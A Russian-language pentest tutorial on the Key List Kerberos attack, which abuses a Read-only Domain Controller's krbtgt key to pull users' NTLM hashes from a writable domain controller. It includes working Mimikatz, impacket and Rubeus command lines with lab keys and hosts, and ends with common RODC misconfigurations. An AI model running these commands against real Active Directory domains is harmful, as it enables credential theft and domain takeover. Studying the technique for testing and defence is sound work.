В этой статье, мы рассмотрим атаку Key List Kerberos при пентесте контроллера домена. Данная атака позволяет извлечь NTLM-хеши пользователей.
Еще по теме: Атака RBCD для захвата домена Active Directory
Что такое Read-only Domain Controller
Основная цель RODC (Read-only Domain Controller) — обеспечение безопасного взаимодействие сервера со службой каталогов. Иногда такие Domain Controller (контроллеры домена) ставят в каких‑то удаленных офисах организации, в случаях, где трудно обеспечить хорошую физическую безопасность сервака. Получив доступ к подобному устройству, ни один хакер не сможет как-то повлиять на домен.
Внутри Read-only Domain Controller хранится копия базы Active Directory, но слегка измененная.
- Во‑первых, не сохраняются различные атрибуты, например ms-Mcs-AdmPwd — в нем находится пароль локального администратора при настроенном LAPS.
- Во‑вторых, разрешается кешировать учетные данные только определенных пользователей. Например, пользователей именно этого удаленного офиса.
Что значит кеширование? Это простое сохранение учетных данных юзера. Сохраняются они в файле ntds.dit, также как и на обычном контроллере домена.
Причем Read-only Domain Controller не создает домен, а добавляется в существующий. Происходите это еще на этапе установки.
Особенности работы Kerberos с RODC
Самая главная особенность работы Kerberos с RODC в том, что RDOC не может синхронизироваться с контроллером домена. Процесс DCSYNC возможен лишь в одну сторону — с обычного контроллера на RODC. Синхронизировать что‑либо с RODC невозможно.


Также сгенерированный RODC TGT можно использовать и в домене, отдав его запросом TGS-REQ на службу krbtgt обычного контроллера домена. Когда обычный КД получает данный TGT, он смотрит атрибут msDS-RevealOnDemandGroup RODC и проверяет: если принципал тикета указан в этом атрибуте и не указан в msDS-NeverRevealGroup, то TGT будет обновлен до «полного» TGT и подписан ключом обычной учетной записи krbtgt контроллера домена. Причем обычный контроллер домена перегенерирует PAC билета, а не станет его копировать из TGT, сгенерированного RODC.
Таким образом, если мы хотим создать «золотой», «бриллиантовый» или «сапфировый» тикет, обязательно следить за тем, какой пользователь нам нужен. Принципал ни в коем случае не должен присутствовать в списке msDS-NeverRevealGroup.
Атака Key List Kerberos при пентесте контроллера домена
Атака Key List позволяет извлечь NTLM-хеш пользователя, злоупотребляя особенностями взаимодействия RODC с обычным контроллером домена. Сначала «золотой» тикет генерируется с использованием ключа krbtgt RODC и отправляется в запросе TGS-REQ на обычный контроллер домена. При этом устанавливается специальный флаг KERB-KEY-LIST-REQ. И если целевая учетная запись присутствует в атрибуте msDS-RevealOnDemandGroup RODC и отсутствует в атрибуте msDS-NeverRevealGroup, то TGS-REP будет содержать структуру KERB-KEY-LIST-REP с учетными данными пользователя.
Для выполнения атаки Key List Kerberos нужны:
- AES-ключ учетной записи krbtgt с RODC.
- Номер версии ключа (последние цифры в имени krbtgt).
- Имя пользователя, хеш которого хотим получить. Пользователь должен быть прописан в атрибуте msDS-RevealOnDemandGroup.
Первые два объекта можно получить, используя Mimikatz:
1 |
lsadump::lsa /inject /name:krbtgt_19160 |
А потом можно воспользоваться Rubeus либо Impacket для получения NTLM-хеша пользователя:
1 2 3 4 5 6 7 |
# impacket impacket-keylistattack CRINGE/FAUSTINO_SHERMAN:pass123@dc01 -rodcNo 19160 -rodcKey fa34fec82433432f4b3e3fb8005bd369ddde8f15ee5450e92d9304ecd07bab60 -dc-ip 192.168.116.133 -debug # Rubeus # Сначала запрашиваем TGT Rubeus.exe golden /rodcNumber:19160 /aes256:fa34fec82433432f4b3e3fb8005bd369ddde8f15ee5450e92d9304ecd07bab60 /user:RACHAEL_LAMBERT /id:1196 /domain:cringe.lab /sid:S-1-5-21-1437000690-1664695696-1586295871 # Отдаем TGT в запрос TGS-REQ Rubeus.exe asktgs /enctype:aes256 /keyList /service:krbtgt/cringe.lab /dc:dc1.cringe.lab /ticket:doIFgzCCBX+gA |
Листаем вниз и находим хеш пользователя.

Заключение
RODC пользуется популярностью у системных администраторов. Да, этот инструмент удобен, но мало кто знает, что он создает новые векторы для атак. Самые частые мисконфиги:
- Кеширование RODC большого числа учетных данных, например когда в msDS-RevealOnDemandGroup указывают группу Authenticated Users. Компрометируется RODC, и мы получаем доступ к этим данным.
- RODC администрируются группой RODC Admins, которая чаще всего не защищена должным образом. Соответственно, атакующий пробивается в эту группу, идет на RODC, а далее смотри пункт 1.
- Пароль DSRM на обычном контроллере домена и на контроллере домена RODC одинаковый.
Иными словами, RODC нельзя считать панацеей, но при грамотном администрировании множество распространенных ошибок получится сгладить либо исправить.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Атаки на службы сертификатов Active Directory
- Захват Active Directory на виртуальной машине с HackTheBox
- Использование Kerbrute для атаки на Kerberos Active Directory